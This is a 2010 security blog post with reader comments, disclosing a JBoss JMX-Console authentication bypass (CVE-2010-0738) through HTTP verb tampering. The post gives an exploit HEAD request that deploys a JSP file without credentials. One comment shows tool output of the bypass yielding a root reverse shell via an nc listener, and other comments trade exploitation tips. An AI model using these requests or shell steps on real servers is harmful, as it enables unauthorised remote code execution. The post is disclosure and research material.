Friday, April 30, 2010

Good Bye Critical Jboss 0day

Authentication bypass vulnerabilities are always interesting from a penetration tester point of view, because the 80% of the time are very simple to abuse. The impact of a security bypass vulnerability depends, from a technical perspective, on what you could be able to do when you are authenticated.

Jboss has some good management tools that are used to deploy new applications and to perform privileged actions like executing scripts on the remote host. One of these is Jboss JMX-Console.

For more information on what an attacker may accomplish through the JMX-Console I suggest to read the following presentation:

Abusing Jboss by Christian Papathanasiou (Trustwave Spiderlabs)

Here at Minded Security we discovered something more. Jboss JMX console may be protected using a common password authentication, but the standard password configuration protection is vulnerable.

How many time someone suggested to you to secure the JMX console using the standard Jboss security configurations?

JMX Console standard security configuration is available in:

  • jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml

This is the suggested security configuration also available in Jboss official security guidelines (“White Paper on JMX Security”):


The suggested configuration for protecting the JMX Console was the following one:

<description>An example security config that only allows users with the
role JBossAdmin to access the HTML JMX console web application

From the configuration above, security restrictions are enabled only for “GET” and “POST” methods. Any other HTTP method supported by the server will be not restricted.

By issuing a request with the “HEAD” method is possible to invoke directly, with “JBossAdmin” privilege, any functionality implemented by the jmx-console without valid credentials. Note: If JMX console replies with a HTTP 500 error the request has been correctly processed.

This kind of attack is referred in Appsec literature as Verb Tampering. The following one is a very good paper on this topic.

Bypassing with HTTP Verb Tampering by Arshan Dabirsiaghi - Aspect Security

The most interesting part is the exploitation. If we have access to any JMX console which is password protected or not, we can issue a HEAD HTTP request that will work ;D

Standard Deployment (will ask for password):

POST /jmx-console/HtmlAdaptor;index.jsp HTTP/1.1
content-lenght: 3512


Exploitation with Authentication Bypass:

HEAD /jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp&*….... HTTP/1.1

Now pick the request you prefer and build your custom exploit!

Reference: (Official Advisory)

A solution to this issue is already available. See the following RedHat advisories:

We would like to thank the RedHat response team in particular Marc Schoenefeld for his support, technical knowledge and fast response.


  1. Awesome work Guys!


  2. Hi guys.

    We are trying to test the exploit but it doesn't work; any other hint?

  3. @Steve Thank you!


    just supply the request like this:


    Use GET parameters, not POST ;D should work

  4. It works. Anyway I cannot get response output, since HEAD method is without response body.

    Do you have any hint for issue a command to download JMX-Console configuration files?

    Thank you

  5. Got this working with JBoss-autopwn :-D

    Screenshot below..

    [root@foo jboss-autopwn]# ./jboss-autopwn 8080
    [x] Checking if authentication is enabled..
    [!] Authentication enabled!
    [x] Proceeding to use CVE-2010-0738 JBoss /jmx-console authentication bypass
    [!] Is this a *nix based or Windows based JBoss instance? nix
    [!] Which IP should I send the reverse shell to?
    [!] Which port should I send the reverse shell to? 6669
    [x] *nix based selected...
    Connection from port 6669 [tcp/*] accepted
    [!] you should now have a shell on
    [root@foo jboss-autopwn]# fg 1
    nc -lv 6669
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
    uname -a
    Linux nitrogen #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
    [root@foo jboss-autopwn]#

    Will be testing it some more and sending you guys a copy soon :-)

    Christian Papathanasiou.

  6. @Chris: Very happy to see this new addition to jboss-autopwn! :D

    @Frank: We have developed a custom exploit that redirects temporarily the output to Jboss status page, which is not password protected by default. This issue has been fixed with "CVE-2010-1429". During the next few days we will publish it on our website, along with the official advisory.

  7. is it possible to get a version of jboss-autopwn? want to test our jboss servers

  8. @Dennis You should ask to the author (Christian Papathanasiou), we don't know when he'll release it.

  9. Guys, I have been trying to reproduce this vulnerability in version 4.0.4 and I haven't had much luck!!! :( Any ideas...???

  10. A metasploit module now exist to abuse the issue as well.

  11. The verb tampering security issue in the JMX console has been ported also to BeEF many months ago (presented at CONFidence May 2011)


  12. Preso containing CVE-2010-0738 and other useful details on hacking JBoss

  13. @Anonymous Thank you very much for that, that's one of the most comprehensive research about Jboss exploitation analysis.